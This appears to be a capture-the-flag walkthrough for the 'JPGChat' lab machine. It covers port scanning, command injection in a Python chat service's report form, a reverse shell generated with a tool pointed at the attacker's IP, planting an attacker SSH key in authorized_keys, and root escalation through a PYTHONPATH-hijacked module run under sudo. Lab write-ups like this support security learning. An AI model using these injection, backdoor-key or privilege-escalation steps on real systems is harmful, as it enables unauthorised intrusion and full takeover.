Link to the ctf: JPGChat
This was a little tricky because the service at the port
3000 was not responding properly. So I was stuck with
nmap tried several times until the port answered.
nmap -sV -sC -p- -T5 -vv -oN nmap.log 10.10.148.90
Warning: 10.10.148.90 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.148.90 Host is up, received echo-reply ttl 63 (0.077s latency). Scanned at 2021-03-01 06:29:57 CET for 298s Not shown: 65533 closed ports Reason: 65533 resets PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqRxJhw/1rrvXuEkXF+agfTYMZrCisS01Z9EWAv8j6Cxjd00jBeaTGD/OsyuWUGwIqC0duALIIccwQfG2DjyrJCIPYyXyRiTbTSbqe07wX6qnnxV4xBmKdu8SxVlPKqVN36gQtbHWQqk9M45sej0M3Qz2q5ucrQVgWsjxYflYI1GZg7DSuWbI9/GNJPugt96uxupK0pJiJXNG26sM+w0BdF/DHlWFxG0Z+2CMqSlNt4EA2hlgBWKzGxvKbznJsapdtrAvKxBF6WOfz/FdLMQa7f28UOSs2NnUDrpz8Xhdqz2fj8RiV+gnywm8rkIzT8FOcMTGfsvOHoR8lVFvp5mj | 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2CCqg8ac3eDsePDO27TM9OweWbaqytzrMyj+RbwDCHaAmfvhbA0CqTGdTIBAsVG6ect+OlqwgOvmTewS9ihB8= | 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXcEOgRyLk02uwr8mYrmAmFsUGPSUw1MHEDeH5qmcxv 3000/tcp open ppp? syn-ack ttl 63 | fingerprint-strings: | GenericLines, NULL: | Welcome to JPChat | source code of this service can be found at our admin's github | MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel |_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.80%I=7%D=3/1%Time=603C7CFC%P=x86_64-redhat-linux-gnu%r SF:(NULL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\ SF:x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMES SF:SAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(curre SF:ntly\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\ SF:x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r( SF:GenericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x SF:20this\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20gith SF:ub\nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20 SF:\(currently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\] SF:\x20to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\) SF:\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Mar 1 06:34:55 2021 -- 1 IP address (1 host up) scanned in 298.59 seconds
3000 port ansers with this message:
Welcome to JPChat the source code of this service can be found at our admin's github MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
(Let’s keep in mind the following sentence:
the source code of this service can be found at our admin's github)
I thought it was an http service but apparently I had to use
nc to send commands
nc 10.10.148.90 3000
[REPORT] and sending enter, we find one of the admin’s name:
So I headed myself to github and wrote
We’re gonna ignore the first result because it’s another writeup. :’) The source code can be found at https://github.com/Mozzie-jpg/JPChat/blob/main/jpchat.py
#!/usr/bin/env python3 import os print ('Welcome to JPChat') print ('the source code of this service can be found at our admin\'s github') def report_form(): print ('this report will be read by Mozzie-jpg') your_name = input('your name:\n') report_text = input('your report:\n') os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name) os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text) def chatting_service(): print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel') print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)') message = input('') if message == '[REPORT]': report_form() if message == '[MESSAGE]': print ('There are currently 0 other users logged in') while True: message2 = input('[MESSAGE]: ') if message2 == '[REPORT]': report_form() chatting_service()
What we notice in particular is the
There are two lines where the script calls bash to execute a command.
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name) os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
Apparently, we can perform an RCE by just injecting our command as
your_name and/or as
report_text since those two are input that we can control
We are able to inject our command right where the
So one thing that we can do is to supply to
echo a word (even a letter, whatever it is), insert a semicolon, write our payload and then use
# to comment everything else after our payload.
So the whole command will look like this:
something; <payload> #
I used asio to generate a reverse shell.
asio -H MY_IP -P 8080 -A -B
In this way,
asio generates a one-liner that’s gonna try different payloads.
Indeed, that’s a long payload
and we’re gonna open up our listener
rlwrap nc -vlp 8080
and then we’re gonna insert our payload as we previously discussed.
To be sure, I did this for both of
And we got our reverese shell.
If we perform a
whoami, we can see that we’re the user
The next step is to upgrade to a better shell. We can easly create a ssh-key by issuing the following command on our machine:
ssh-keygen -t ecdsa -N '' '' -f wes
and put the content of
wes.pub inside the victim machine in
if the folder
.ssh doesn’t exist, create it.
echo "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMCR/VjkHMmpgmgKeuZrSX10wxCDp9ML34CEqvZjkEcy/5IusFxFpm8ECp2Sn2sPz9a5W6FB0YfvjmJnI2wxvtE= jackrendor" > /home/wes/.ssh/authorized_keys
now we can log in via ssh by issuing the followin command:
ssh -i wes firstname.lastname@example.org
sudo -l we can see which commands we can execute as root and some other useful information.
Matching Defaults entries for wes on ubuntu-xenial: mail_badpass, env_keep+=PYTHONPATH User wes may run the following commands on ubuntu-xenial: (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
We can potentially execute the following script:
This is the content of the script:
#!/usr/bin/env python3 from compare import * print(compare.Str('hello', 'hello', 'hello'))
Some context here:
env_keep+=PYTHONPATH which allows us to add other paths where python can find the libraries.
and the scripts imports
compare as libary.
We can create a new script in our home folder called
And then try to mimic the function
In our new libary, we call
os.system and we try to write our ssh-key to
NOTE: I’m using the same public key as
wes, you could create another key if you want to, but I preferred to not to.
import os class compare: def Str(s1, s2, s3): os.system("mkdir /root/.ssh; echo ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMCR/VjkHMmpgmgKeuZrSX10wxCDp9ML34CEqvZjkEcy/5IusFxFpm8ECp2Sn2sPz9a5W6FB0YfvjmJnI2wxvtE= jackrendor >> /root/.ssh/authorized_keys")
Now, we have to change hte
PYTHONPATH env. In this way, python will look up for the library in our directory.
Now we execute the python script with sudo:
sudo /usr/bin/python3 /opt/development/test_module.py
We can see some strange output:
mkdir: cannot create directory ‘/root/.ssh’: File exists None
But it doesn’t matter that
mkdir failed, because it actually wrote the ssh key in the
/root/.ssh/authoridez_keys because otherwise we would’ve get another error.
Now, on our machine, we can once again use ssh but this time we’re gonna use the username
root. Same as we did before.
ssh -i wes email@example.com